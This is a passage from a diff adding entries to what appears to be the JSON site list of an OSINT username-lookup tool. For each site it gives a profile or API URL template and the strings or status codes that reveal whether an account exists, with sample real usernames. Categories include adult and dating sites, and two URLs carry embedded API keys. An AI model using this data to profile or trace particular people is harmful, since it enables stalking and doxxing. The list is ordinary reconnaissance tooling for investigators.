    ", + "m_string": "This user is currently not available", + "m_code": 200, + "known": [ + "brockdoom", + "witchhouse", + "hotoptics" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Bento", + "uri_check": "https://bento.me/{account}", + "e_code": 200, + "e_string": "href=\"https://bento.me/explore\"", + "m_string": ">Available!
    ", + "m_code": 404, + "known": [ + "carlito", + "taylor" + ], + "cat": "social" + }, + { + "name": "BiggerPockets", + "uri_check": "https://www.biggerpockets.com/users/{account}", + "e_code": 200, + "e_string": "| BiggerPockets", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "trustgreene", + "chasel9" + ], + "cat": "finance" + }, + { + "name": "BIGO Live", + "uri_check": "https://www.bigo.tv/user/{account}", + "e_code": 200, + "e_string": "userInfo:{nickName", + "m_string": "userInfo:{}", + "m_code": 200, + "known": [ + "treasdior", + "Jacin19" + ], + "cat": "gaming" + }, + { + "name": "Bikemap", + "uri_check": "https://www.bikemap.net/en/u/{account}/routes/created/", + "e_code": 200, + "e_string": "- 🚲 Bikemap", + "m_string": "Page not found - Error 404 ", + "m_code": 404, + "known": [ + "mike", + "greg" + ], + "cat": "health" + }, + { + "name": "Bimpos", + "uri_check": "https://ask.bimpos.com/user/{account}", + "e_code": 200, + "e_string": "<title>User ", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "db" + ], + "cat": "tech" + }, + { + "name": "Bio Sites", + "uri_check": "https://bio.site/{account}", + "e_code": 200, + "e_string": "section\":{\"handles", + "m_string": "This site no longer exists", + "m_code": 404, + "known": [ + "leticiabufoni", + "kayurkaRhea" + ], + "cat": "social" + }, + { + "name": "biolink", + "uri_check": "https://bio.link/{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you’re looking for doesn’t exist", + "m_code": 404, + "known": [ + "adli_hm", + "jake" + ], + "cat": "misc" + }, + { + "name": "Bitbucket", + "uri_check": "https://bitbucket.org/!api/2.0/repositories/{account}?page=1&pagelen=25&sort=-updated_on&q=&fields=-values.owner%2C-values.workspace", + "uri_pretty": "https://bitbucket.org/{account}/workspace/repositories/", + "e_code": 200, + "e_string": "full_name", + "m_string": "No workspace with identifier", + "m_code": 404, + "known": [ + "LaNMaSteR53", + "osamahalisawi" + ], + "cat": "coding" + }, + { + "name": "Bitchute", + "uri_check": "https://api.bitchute.com/api/beta/channel", + "uri_pretty": "https://www.bitchute.com/channel/{account}/", + "post_body": "{\"channel_id\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"channel_id\":", + "m_string": "\"errors\":", + "m_code": 404, + "known": [ + "simon_parkes", + "americafloats", + "daindor" + ], + "cat": "political" + }, + { + "name": "Blogger", + "uri_check": "https://www.blogger.com/profile/{account}", + "e_code": 200, + "e_string": "shadow-light user-stats", + "m_string": "Sorry, the blog you were looking for does not exist.", + "m_code": 405, + "known": [ + "07333944864481878697", + "05941544278367416980" + ], + "cat": "blog" + }, + { + "name": "blogi.pl", + "uri_check": "https://www.blogi.pl/osoba,{account}.html", + "e_code": 200, + "e_string": "Informacje ogólne", + "m_string": "Niepoprawny adres.", + "m_code": 200, + "known": [ + "naukowa", + "izkpaw" + ], + "cat": "blog" + }, + { + "name": "Blogmarks", + "uri_check": "http://blogmarks.net/user/{account}", + "e_code": 200, + "e_string": "class=\"mark\"", + "m_string": "", + "m_code": 200, + "known": [ + "test", + "mike" + ], + "cat": "misc" + }, + { + "name": "Blogspot", + "uri_check": "http://{account}.blogspot.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Blogger Template Style", + "m_string": "Blog not found", + "m_code": 404, + "known": [ + "test" + ], + "cat": "blog" + }, + { + "name": "Bluesky 1", + "uri_check": "https://bsky.app/profile/{account}", + "e_code": 200, + "e_string": "on Bluesky", + "m_string": "<p id=\"bsky_did\"></p>", + "m_code": 200, + "known": [ + "bsky.app", + "safety.bsky.app" + ], + "cat": "social" + }, + { + "name": "Bluesky 2", + "uri_check": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={account}.bsky.social", + "uri_pretty": "https://bsky.app/profile/{account}.bsky.social", + "e_code": 200, + "e_string": "\"handle\":\"", + "m_string": "\"message\":\"Profile not found\"", + "m_code": 400, + "known": [ + "john", + "mark" + ], + "cat": "social" + }, + { + "name": "BoardGameGeek", + "uri_check": "https://api.geekdo.com/api/accounts/validate/username?username={account}", + "uri_pretty": "https://boardgamegeek.com/user/{account}", + "e_code": 200, + "e_string": "\"message\":\"Sorry, this username is already taken.\"", + "m_string": "\"isValid\":true", + "m_code": 200, + "known": [ + "ntrautner", + "Petdoc" + ], + "cat": "gaming" + }, + { + "name": "BodyBuilding.com", + "uri_check": "http://api.bodybuilding.com/api-proxy/bbc/get?slug={account}", + "uri_pretty": "http://bodyspace.bodybuilding.com/{account}/", + "e_code": 200, + "e_string": "username", + "m_string": "data\" :\"\"", + "m_code": 200, + "known": [ + "mike" + ], + "cat": "health" + }, + { + "name": "bonga_cams", + "uri_check": "https://pt.bongacams.com/{account}", + "e_code": 200, + "e_string": "Chat público ao vivo de", + "m_string": "Câmaras de sexo free: chat pornô ao vivo", + "m_code": 404, + "known": [ + "prettykatea", + "milaowens" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Bookcrossing", + "uri_check": "https://www.bookcrossing.com/mybookshelf/{account}", + "e_code": 200, + "e_string": "Recent Book Activity", + "m_string": "Sorry, we were unable to locate the content that you requested.", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "hobby" + }, + { + "name": "Booknode", + "uri_check": "https://booknode.com/profil/{account}", + "e_code": 200, + "e_string": "<title>Profil de", + "m_string": "<title>Page non trouvée", + "m_code": 404, + "known": [ + "Paraffine", + "chanoa" + ], + "cat": "hobby" + }, + { + "name": "Boosty", + "uri_check": "https://api.boosty.to/v1/blog/{account}", + "uri_pretty": "https://boosty.to/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"blog_not_found\"", + "m_code": 404, + "known": [ + "evdokia", + "lana" + ], + "cat": "social" + }, + { + "name": "Booth", + "uri_check": "https://{account}.booth.pm/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "- BOOTH", + "m_string": "BOOTH - The International Indie Art Marketplace", + "m_code": 302, + "known": [ + "monoliorder", + "hasya" + ], + "cat": "shopping" + }, + { + "name": "Brickset", + "uri_check": "https://brickset.com/profile/{account}", + "e_code": 200, + "e_string": "Member since:", + "m_string": "{name}", + "m_code": 200, + "known": [ + "lowlead", + "vwong19" + ], + "cat": "hobby" + }, + { + "name": "BugCrowd", + "uri_check": "https://bugcrowd.com/{account}/profile_widgets", + "uri_pretty": "https://bugcrowd.com/{account}", + "e_code": 200, + "e_string": "\"widgets\":", + "m_string": "class='cc-error-page__msg'", + "m_code": 404, + "known": [ + "lopseg", + "Ebrietas" + ], + "cat": "tech" + }, + { + "name": "Bunpro", + "uri_check": "https://community.bunpro.jp/u/{account}.json", + "e_code": 200, + "e_string": "username", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "blacktide", + "honey" + ], + "cat": "social" + }, + { + "name": "Buy Me a Coffee", + "uri_check": "https://app.buymeacoffee.com/api/v1/check_availability", + "uri_pretty": "https://buymeacoffee.com/{account}", + "post_body": "{\"project_slug\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "freebird", + "robinwong" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "BuzzFeed", + "uri_check": "https://www.buzzfeed.com/{account}", + "e_code": 200, + "e_string": " on BuzzFeed", + "m_string": "Es posible que el enlace que seleccionaste esté roto o que se haya eliminado la página", + "m_code": 404, + "known": [ + "braftty", + "guillermo" + ], + "cat": "misc" + }, + { + "name": "Calendy", + "uri_check": "https://calendly.com/{account}", + "e_code": 200, + "e_string": "og:author", + "m_string": "Sorry, but the page you were looking for could not be found.", + "m_code": 404, + "known": [ + "honey", + "roger" + ], + "cat": "misc" + }, + { + "name": "Cameo", + "uri_check": "https://www.cameo.com/{account}", + "e_code": 200, + "e_string": "aggregateRating", + "m_string": "", + "m_code": 301, + "known": [ + "michael_owen10", + "sarahall3" + ], + "cat": "shopping" + }, + { + "name": "Carbonmade", + "uri_check": "https://{account}.carbonmade.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "s online portfolio", + "m_string": "site not found", + "m_code": 404, + "known": [ + "jenny", + "bob" + ], + "cat": "hobby" + }, + { + "name": "Career.habr", + "uri_check": "https://career.habr.com/{account}", + "e_code": 200, + "e_string": "— Хабр Карьера", + "m_string": "Ошибка 404", + "m_code": 404, + "known": [ + "alex", + "bob" + ], + "cat": "business" + }, + { + "name": "carrd.co", + "uri_check": "https://{account}.carrd.co", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "( Made with Carrd )", + "m_string": "Sorry, the requested page could not be found.", + "m_code": 404, + "known": [ + "liam", + "peter" + ], + "cat": "business" + }, + { + "name": "CastingCallClub", + "uri_check": "https://www.castingcall.club/{account}", + "e_code": 200, + "e_string": "| Casting Call Club", + "m_string": "404: This is not the page you were looking for. In the future, our AI robot overlords will be able to better predict exactly what you were looking for.", + "m_code": 302, + "known": [ + "Lindz", + "Danye" + ], + "cat": "hobby" + }, + { + "name": "CD-Action", + "uri_check": "https://cdaction.pl/uzytkownicy/{account}", + "e_code": 200, + "e_string": "Lista gier:", + "m_string": "Coś się popsuło...", + "m_code": 404, + "known": [ + "saczuan", + "cormac" + ], + "cat": "gaming" + }, + { + "name": "cda.pl", + "uri_check": "https://www.cda.pl/{account}", + "e_code": 200, + "e_string": "Foldery", + "m_string": "Strona na którą chcesz wejść nie istnieje", + "m_code": 200, + "known": [ + "test2", + "janek" + ], + "cat": "video" + }, + { + "name": "Cent", + "uri_check": "https://beta.cent.co/data/user/profile?userHandles={account}", + "uri_pretty": "https://beta.cent.co/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"results\":[]", + "m_code": 200, + "known": [ + "alex", + "ben" + ], + "cat": "social" + }, + { + "name": "cfx.re", + "uri_check": "https://forum.cfx.re/u/{account}.json", + "uri_pretty": "https://forum.cfx.re/u/{account}/summary", + "e_code": 200, + "e_string": "created_at", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "masiball", + "anel_hadzyc", + "kiminaze" + ], + "cat": "gaming" + }, + { + "name": "championat", + "uri_check": "https://www.championat.com/user/{account}/", + "e_code": 200, + "e_string": "Личный профил", + "m_string": "Извините, запрашиваемая страница не найдена", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "news" + }, + { + "name": "Chamsko", + "uri_check": "https://www.chamsko.pl/profil/{account}", + "e_code": 200, + "e_string": "W serwisie od", + "m_string": "Strona nie istnieje.", + "m_code": 404, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "chatango.com", + "uri_check": "https://{account}.chatango.com", + "e_code": 200, + "e_string": "Chatango!", + "m_string": "<title>Unknown User!", + "m_code": 200, + "known": [ + "7nights", + "merbailey", + "steakomura", + "equicentric" + ], + "cat": "social" + }, + { + "name": "chaturbate", + "uri_check": "https://chaturbate.com/{account}/", + "e_code": 200, + "e_string": "'s Bio and Free Webcam", + "m_string": "It's probably just a broken link", + "m_code": 404, + "known": [ + "pussylovekate", + "kemii" + ], + "cat": "xx NSFW xx" + }, + { + "name": "cHEEZburger", + "uri_check": "https://profile.cheezburger.com/{account}", + "e_code": 200, + "e_string": "profile-header", + "m_string": "<title>Home - ", + "m_code": 302, + "known": [ + "john" + ], + "cat": "hobby" + }, + { + "name": "Chess.com", + "uri_check": "https://api.chess.com/pub/player/{account}", + "uri_pretty": "https://www.chess.com/member/{account}", + "e_code": 200, + "e_string": "player_id", + "m_string": "not found", + "m_code": 404, + "known": [ + "john", + "peter", + "josh" + ], + "cat": "gaming" + }, + { + "name": "Choko.Link", + "uri_check": "https://choko.link/api/auth/check", + "uri_pretty": "https://choko.link/{account}", + "post_body": "{\"username\":\"{account}\"}", + "e_code": 200, + "e_string": "\"result\":false", + "m_string": "\"result\":true", + "m_code": 200, + "known": [ + "yaroslava_lytvyak", + "eugeniapsychology" + ], + "cat": "social" + }, + { + "name": "Chomikuj.pl", + "uri_check": "https://chomikuj.pl/{account}/", + "e_code": 200, + "e_string": "Foldery", + "m_string": "Chomik o takiej nazwie nie istnieje", + "m_code": 404, + "known": [ + "test", + "test2" + ], + "cat": "misc" + }, + { + "name": "Chyoa", + "uri_check": "https://chyoa.com/user/{account}", + "e_code": 200, + "e_string": "When I'm not reading erotica I like to read", + "m_string": "Sorry, I got distracted...", + "m_code": 404, + "known": [ + "joe", + "carlos01" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Cloudflare", + "uri_check": "https://community.cloudflare.com/u/{account}/card.json", + "uri_pretty": "https://community.cloudflare.com/u/{account}", + "e_code": 200, + "e_string": "user_avatar", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "carl", + "morten" + ], + "cat": "tech" + }, + { + "name": "Clubhouse", + "uri_check": "https://www.clubhouse.com/@{account}", + "e_code": 200, + "e_string": "\"user\":", + "m_string": "404", + "m_code": 404, + "known": [ + "kirbyplessas", + "rohan" + ], + "cat": "social" + }, + { + "name": "cnet", + "uri_check": "https://www.cnet.com/profiles/{account}/", + "e_code": 200, + "e_string": "Member Since:", + "m_string": "Page Not Found (404) - CNET", + "m_code": 301, + "known": [ + "john", + "bob" + ], + "cat": "news" + }, + { + "name": "Coda", + "uri_check": "https://coda.io/@{account}/", + "e_code": 200, + "e_string": "- Coda Profile", + "m_string": "Coda | Page not found - Coda", + "m_code": 404, + "known": [ + "huizer", + "kennywong" + ], + "cat": "hobby" + }, + { + "name": "Code Project", + "uri_check": "https://www.codeproject.com/Members/{account}", + "e_code": 200, + "e_string": "Member since", + "m_string": "Unable to load the requested member's information", + "m_code": 200, + "known": [ + "WmCraig", + "Rick-York" + ], + "cat": "coding" + }, + { + "name": "Codeberg", + "uri_check": "https://codeberg.org/{account}", + "e_code": 200, + "e_string": "Joined on", + "m_string": "The page you are trying to reach either", + "m_code": 404, + "known": [ + "dachary", + "happy" + ], + "cat": "coding" + }, + { + "name": "Codecademy", + "uri_check": "https://discuss.codecademy.com/u/{account}/summary", + "e_code": 200, + "e_string": " Profile - ", + "m_string": "Oops! That page doesn’t exist", + "m_code": 404, + "known": [ + "doctypeme", + "ocean.war" + ], + "cat": "coding" + }, + { + "name": "CodeChef", + "uri_check": "https://www.codechef.com/users/{account}", + "e_code": 200, + "e_string": "class=\"user-profile-container\"", + "m_string": "", + "m_code": 302, + "known": [ + "maroonrk", + "lyrically" + ], + "cat": "coding" + }, + { + "name": "Codeforces", + "uri_check": "https://codeforces.com/api/user.info?handles={account}", + "uri_pretty": "https://codeforces.com/profile/{account}", + "e_code": 200, + "e_string": "\"status\":\"OK\"", + "m_string": "\"status\":\"FAILED\"", + "m_code": 400, + "known": [ + "Abdul01", + "Abdullah" + ], + "cat": "coding" + }, + { + "name": "codementor", + "uri_check": "https://www.codementor.io/@{account}", + "e_code": 200, + "e_string": "ABOUT ME", + "m_string": "404/favicon.png", + "m_code": 404, + "known": [ + "e4c5", + "juanelfers" + ], + "cat": "coding" + }, + { + "name": "CodePen", + "uri_check": "https://codepen.io/{account}", + "e_code": 200, + "e_string": "property=\"og:url\"", + "m_string": "data-test-id=\"text-404\"", + "m_code": 404, + "known": [ + "good88gorg", + "RayyanDonut" + ], + "cat": "coding", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Coderwall", + "uri_check": "https://coderwall.com/{account}/", + "e_code": 200, + "e_string": "s profile |", + "m_string": "404! Our feels when that url is used", + "m_code": 404, + "known": [ + "john", + "test" + ], + "cat": "coding" + }, + { + "name": "Codewars", + "uri_check": "https://www.codewars.com/users/{account}", + "e_code": 200, + "e_string": "| Codewars", + "m_string": "Whoops! The page you were looking for doesn't seem to exist.", + "m_code": 404, + "known": [ + "john", + "reds" + ], + "cat": "coding" + }, + { + "name": "COLOURlovers", + "uri_check": "https://www.colourlovers.com/ajax/check-username-availability", + "uri_pretty": "https://www.colourlovers.com/lover/{account}", + "post_body": "userName={account}", + "headers": { + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8" + }, + "e_code": 200, + "e_string": "\"_status\":\"unavailable\"", + "m_string": "\"_status\":\"available\"", + "m_code": 200, + "known": [ + "timanttimaarit", + "tsoloweyko" + ], + "cat": "hobby", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Community Adobe", + "uri_check": "https://community.adobe.com/t5/forums/searchpage/tab/user?q={account}", + "e_code": 200, + "e_string": "UserSearchItemContainer", + "m_string": "No search results found.", + "m_code": 200, + "known": [ + "test", + "janet" + ], + "cat": "tech" + }, + { + "name": "contactos.sex", + "uri_check": "https://www.contactossex.com/profile/{account}", + "e_code": 200, + "e_string": "Información Personal", + "m_string": "Desde 2001 conectando gente!", + "m_code": 302, + "known": [ + "danijak", + "darkfox" + ], + "cat": "xx NSFW xx" + }, + { + "name": "coroflot", + "uri_check": "https://www.coroflot.com/{account}", + "e_code": 200, + "e_string": "portfolio", + "m_string": "Looking for something?", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "art" + }, + { + "name": "Coub", + "uri_check": "https://coub.com/api/v2/channels/{account}", + "uri_pretty": "https://coub.com/{account}/", + "e_code": 200, + "e_string": "\"user_id\":", + "m_string": "\"error\":\"Unhandled exception\"", + "m_code": 404, + "known": [ + "djantidog", + "mcnorington" + ], + "cat": "social" + }, + { + "name": "cowboys4angels", + "uri_check": "https://cowboys4angels.com/cowboy/{account}/", + "e_code": 200, + "e_string": " - Cowboys 4 Angels", + "m_string": "Error Page not found", + "m_code": 404, + "known": [ + "jaxjames", + "jordan-2" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Cracked", + "uri_check": "https://www.cracked.com/members/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "", + "m_code": 302, + "known": [ + "mbattagl", + "Hatchback" + ], + "cat": "social" + }, + { + "name": "cracked_io", + "uri_check": "https://cracked.io/{account}", + "e_code": 200, + "e_string": "Cracked.io - Profile of", + "m_string": "The member you specified is either invalid or doesn't exist", + "m_code": 404, + "known": [ + "RealPsycho", + "SamWinchester" + ], + "cat": "social" + }, + { + "name": "crevado", + "uri_check": "https://{account}.crevado.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Portfolio", + "m_string": "Site not found :-(", + "m_code": 404, + "known": [ + "john", + "red" + ], + "cat": "images" + }, + { + "name": "Cropty", + "uri_check": "https://api.cropty.io/v1/auth/{account}", + "uri_pretty": "https://www.cropty.io/@{account}", + "e_code": 200, + "e_string": "\"name\":", + "m_string": "\"errors\":", + "m_code": 404, + "known": [ + "mailmal", + "dosash" + ], + "cat": "finance" + }, + { + "name": "Crowdin", + "uri_check": "https://crowdin.com/profile/{account}", + "e_code": 200, + "e_string": "id=\"profile-page\"", + "m_string": "class=\"error-page\"", + "m_code": 404, + "known": [ + "erga", + "peter" + ], + "cat": "hobby" + }, + { + "name": "Cults3D", + "uri_check": "https://cults3d.com/en/users/{account}/creations", + "e_code": 200, + "e_string": "All the 3D models of", + "m_string": "Oh dear, this page is not working!", + "m_code": 404, + "known": [ + "Bstar3Dart", + "john" + ], + "cat": "hobby" + }, + { + "name": "Cytoid", + "uri_check": "https://cytoid.io/profile/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "Profile not found", + "m_code": 404, + "known": [ + "nyala", + "speedymlg7" + ], + "cat": "gaming" + }, + { + "name": "Daily Kos", + "uri_check": "https://www.dailykos.com/user/{account}", + "e_code": 200, + "e_string": "id=\"userData\"", + "m_string": "Page not found! (404)", + "m_code": 404, + "known": [ + "msouza", + "kos" + ], + "cat": "news" + }, + { + "name": "darudar", + "uri_check": "https://darudar.org/users/{account}/", + "e_code": 200, + "e_string": ". Дарудар", + "m_string": "404. Дару~дар: миру~мир!", + "m_code": 404, + "known": [ + "svetlana7", + "igor" + ], + "cat": "misc" + }, + { + "name": "dateinasia", + "uri_check": "https://www.dateinasia.com/{account}", + "e_code": 200, + "e_string": "About me", + "m_string": "The page you are looking for does not exist", + "m_code": 404, + "known": [ + "shime", + "janeferater" + ], + "cat": "dating" + }, + { + "name": "datezone", + "uri_check": "https://www.datezone.com/users/{account}/", + "e_code": 200, + "e_string": "profile_status", + "m_string": "404: page not found", + "m_code": 200, + "known": [ + "maniektwist", + "carllos" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Dating.ru", + "uri_check": "https://dating.ru/{account}/", + "e_code": 200, + "e_string": "| dating.ru", + "m_string": "Такой страницы не существует.", + "m_code": 404, + "known": [ + "john", + "blue" + ], + "cat": "dating" + }, + { + "name": "DDoSecrets", + "uri_check": "https://search.ddosecrets.com/search?q={account}", + "e_code": 200, + "e_string": "aria-label=\"Search result pages\"", + "m_string": "

    No results

    ", + "m_code": 200, + "known": [ + "egord", + "Mddearing" + ], + "cat": "archived" + }, + { + "name": "Demotywatory", + "uri_check": "https://demotywatory.pl/user/{account}", + "e_code": 200, + "e_string": "Z nami od:", + "m_string": "Użytkownik o podanym pseudonimie nie istnieje.", + "m_code": 200, + "known": [ + "test", + "test2" + ], + "cat": "images" + }, + { + "name": "depop", + "uri_check": "https://www.depop.com/{account}/", + "e_code": 200, + "e_string": "s Shop - Depop", + "m_string": "Sorry, that page doesn't exist", + "m_code": 404, + "known": [ + "sara", + "susan" + ], + "cat": "shopping" + }, + { + "name": "Designspriation", + "uri_check": "https://www.designspiration.com/{account}/", + "e_code": 200, + "e_string": "has discovered on Designspiration", + "m_string": "Content Not Found", + "m_code": 404, + "known": [ + "sam", + "smith" + ], + "cat": "art" + }, + { + "name": "destream", + "uri_check": "https://api.destream.net/siteapi/v2/live/details/{account}", + "uri_pretty": "https://destream.net/live/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "\"errorMessage\":\"Error happened.\"", + "m_code": 400, + "known": [ + "skromnuy_fifa", + "wudjer" + ], + "cat": "finance" + }, + { + "name": "Destructoid", + "uri_check": "https://www.destructoid.com/?name={account}", + "e_code": 200, + "e_string": "Follow", + "m_string": "Error in query", + "m_code": 200, + "known": [ + "john", + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "dev.to", + "uri_check": "https://dev.to/{account}", + "e_code": 200, + "e_string": "\"@id\":", + "m_string": "class=\"not-found-page base-background-color\"", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "coding", + "protection": [ + "other" + ] + }, + { + "name": "DeviantArt", + "uri_check": "https://www.deviantart.com/{account}", + "e_code": 200, + "e_string": " | DeviantArt", + "m_string": "DeviantArt: 404", + "m_code": 404, + "known": [ + "rattybike", + "john" + ], + "cat": "images" + }, + { + "name": "devRant", + "uri_check": "https://devrant.com/users/{account}", + "e_code": 200, + "e_string": "Joined devRant on", + "m_string": "", + "m_code": 302, + "known": [ + "dfox", + "trogus" + ], + "cat": "coding" + }, + { + "name": "dfgames", + "uri_check": "https://www.dfgames.com.br/user/{account}", + "e_code": 200, + "e_string": "Reputa", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "carlos01", + "eduardo" + ], + "cat": "gaming" + }, + { + "name": "Diablo", + "uri_check": "https://diablo2.io/member/{account}/", + "e_code": 200, + "e_string": "Viewing profile - ", + "m_string": "The requested user does not exist", + "m_code": 404, + "known": [ + "Mike01", + "John" + ], + "cat": "gaming" + }, + { + "name": "DIBIZ", + "uri_check": "https://www.dibiz.com/{account}", + "e_code": 200, + "e_string": "Add to contacts
    ", + "m_string": "An Error Has Occurred", + "m_code": 404, + "known": [ + "fractalhue", + "rid" + ], + "cat": "business" + }, + { + "name": "Digitalspy", + "uri_check": "https://forums.digitalspy.com/profile/discussions/{account}", + "e_code": 200, + "e_string": "About", + "m_string": "User not found", + "m_code": 404, + "known": [ + "JeffG1", + "Maxatoria" + ], + "cat": "social" + }, + { + "name": "diigo", + "uri_check": "https://www.diigo.com/interact_api/load_profile_info?name={account}", + "uri_pretty": "https://www.diigo.com/profile/{account}", + "e_code": 200, + "e_string": "regist_at", + "m_string": "{}", + "m_code": 200, + "known": [ + "whoami", + "johndoe" + ], + "cat": "images" + }, + { + "name": "Discogs", + "uri_check": "https://api.discogs.com/users/{account}", + "uri_pretty": "https://www.discogs.com/user/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"message\": \"User does not exist or may have been deleted.\"", + "m_code": 404, + "known": [ + "damiano84", + "bernadette69" + ], + "cat": "music" + }, + { + "name": "Discord Invites", + "uri_check": "https://discord.com/api/v9/invites/{account}?with_counts=true&with_expiration=true", + "uri_pretty": "https://discord.com/invite/{account}", + "e_code": 200, + "e_string": "\"channel\":", + "m_string": "\"message\": \"Unknown Invite\"", + "m_code": 404, + "known": [ + "test", + "web" + ], + "cat": "social" + }, + { + "name": "Discord Users", + "uri_check": "https://discord.com/api/v9/unique-username/username-attempt-unauthed", + "post_body": "{\"username\": \"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"taken\":true", + "m_string": "\"taken\":false", + "m_code": 200, + "known": [ + "test", + "web" + ], + "cat": "social" + }, + { + "name": "Discourse", + "uri_check": "https://meta.discourse.org/u/{account}/summary.json", + "uri_pretty": "https://meta.discourse.org/u/{account}", + "e_code": 200, + "e_string": "topics", + "m_string": "The requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "ndalliard", + "gerhard" + ], + "cat": "misc" + }, + { + "name": "discuss.elastic.co", + "uri_check": "https://discuss.elastic.co/u/{account}", + "e_code": 200, + "e_string": " Profile", + "m_string": "Oops!", + "m_code": 404, + "known": [ + "whoami", + "johndoe" + ], + "cat": "tech" + }, + { + "name": "Disqus", + "uri_check": "https://disqus.com/api/3.0/users/details?user=username:{account}&api_key=E8Uh5l5fHZ6gD8U3KycjAIAk46f68Zw7C6eW8WSjZvCLXebZ7p0r1yrYDrLilk2F", + "uri_pretty": "https://disqus.com/by/{account}/", + "e_code": 200, + "e_string": "\"code\":0", + "m_string": "\"code\":2", + "m_code": 400, + "known": [ + "Aristotelian1", + "50calibercat" + ], + "cat": "social" + }, + { + "name": "Dissenter", + "uri_check": "https://dissenter.com/user/{account}", + "e_code": 200, + "e_string": "Dissenter | The Comment Section of the Internet", + "m_string": "That user is not registered here.", + "m_code": 404, + "known": [ + "pryerlee", + "archdukeofevil" + ], + "cat": "political" + }, + { + "name": "Docker Hub (Organization)", + "uri_check": "https://hub.docker.com/v2/orgs/{account}/", + "uri_pretty": "https://hub.docker.com/u/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"orgname\":[\"", + "m_code": 404, + "known": [ + "bitnami", + "tensorflow" + ], + "cat": "coding" + }, + { + "name": "Docker Hub (User)", + "uri_check": "https://hub.docker.com/v2/users/{account}/", + "uri_pretty": "https://hub.docker.com/u/{account}", + "e_code": 200, + "e_string": "\"uuid\":", + "m_string": "\"message\":\"User not found\"", + "m_code": 404, + "known": [ + "dannapierskitoptal", + "torvalds" + ], + "cat": "coding" + }, + { + "name": "Dojoverse", + "uri_check": "https://dojoverse.com/members/{account}/", + "e_code": 200, + "e_string": "Joined", + "m_string": "Looks like you got lost!.", + "m_code": 404, + "known": [ + "eric", + "danielrivera10927" + ], + "cat": "hobby" + }, + { + "name": "donate.stream", + "uri_check": "https://donate.stream/api/v1/streamer.get?path={account}&app=9f4e793cec820015d511dbc77b20c5c1", + "uri_pretty": "https://donate.stream/{account}", + "e_code": 200, + "e_string": "\"response\":", + "m_string": "\"message\":\"Not found\"", + "m_code": 200, + "known": [ + "requiemzxc_komaru", + "hexttr" + ], + "cat": "finance", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Donatello", + "uri_check": "https://donatello.to/{account}", + "e_code": 200, + "e_string": "UserPage.init", + "m_string": "<title>Сторінку не знайдено (404) - Donatello", + "m_code": 404, + "known": [ + "Metvix", + "Selezenka" + ], + "cat": "finance" + }, + { + "name": "Donatik", + "uri_check": "https://{account}.donatik.io/en", + "e_code": 200, + "e_string": "\\\"__typename\\\":\\\"User\\\"", + "m_string": "id=\"__next_error__\"", + "m_code": 500, + "known": [ + "gypsyjitsu", + "forestgamp3021" + ], + "cat": "finance" + }, + { + "name": "Donation Alerts", + "uri_check": "https://www.donationalerts.com/api/v1/user/{account}/donationpagesettings", + "uri_pretty": "https://www.donationalerts.com/r/{account}", + "e_code": 200, + "e_string": "\"data\":", + "m_string": "\"success\":false", + "m_code": 202, + "known": [ + "gorou", + "saku" + ], + "cat": "finance" + }, + { + "name": "Donatty", + "uri_check": "https://api.donatty.com/users/find/{account}", + "uri_pretty": "https://donatty.com/{account}", + "e_code": 200, + "e_string": "\"response\":", + "m_string": "\"error\":\"internal error\"", + "m_code": 404, + "known": [ + "takaisekai", + "fordmac" + ], + "cat": "business", + "protection": [ + "cloudflare" + ] + }, + { + "name": "dot.cards", + "uri_check": "https://dot.cards/{account}", + "e_code": 200, + "e_string": "status\": \"success", + "m_string": "status\": \"username_not_found", + "m_code": 200, + "known": [ + "dakmusic", + "jhartwell" + ], + "cat": "business" + }, + { + "name": "Dota2.ru", + "uri_check": "https://dota2.ru/forum/search/?type=user&keywords={account}&sort_by=username", + "e_code": 200, + "e_string": "class=\"forum-section__item forum-section__item--first\"", + "m_string": "id=\"no-activity-posts\"", + "m_code": 200, + "known": [ + "narancha", + "Darkness whisper" + ], + "cat": "gaming" + }, + { + "name": "DOTAFire", + "uri_check": "https://www.dotafire.com/ajax/searchSite?text={account}&search=members", + "e_code": 200, + "e_string": "href=\"/profile/", + "m_string": ">No results found", + "m_code": 200, + "known": [ + 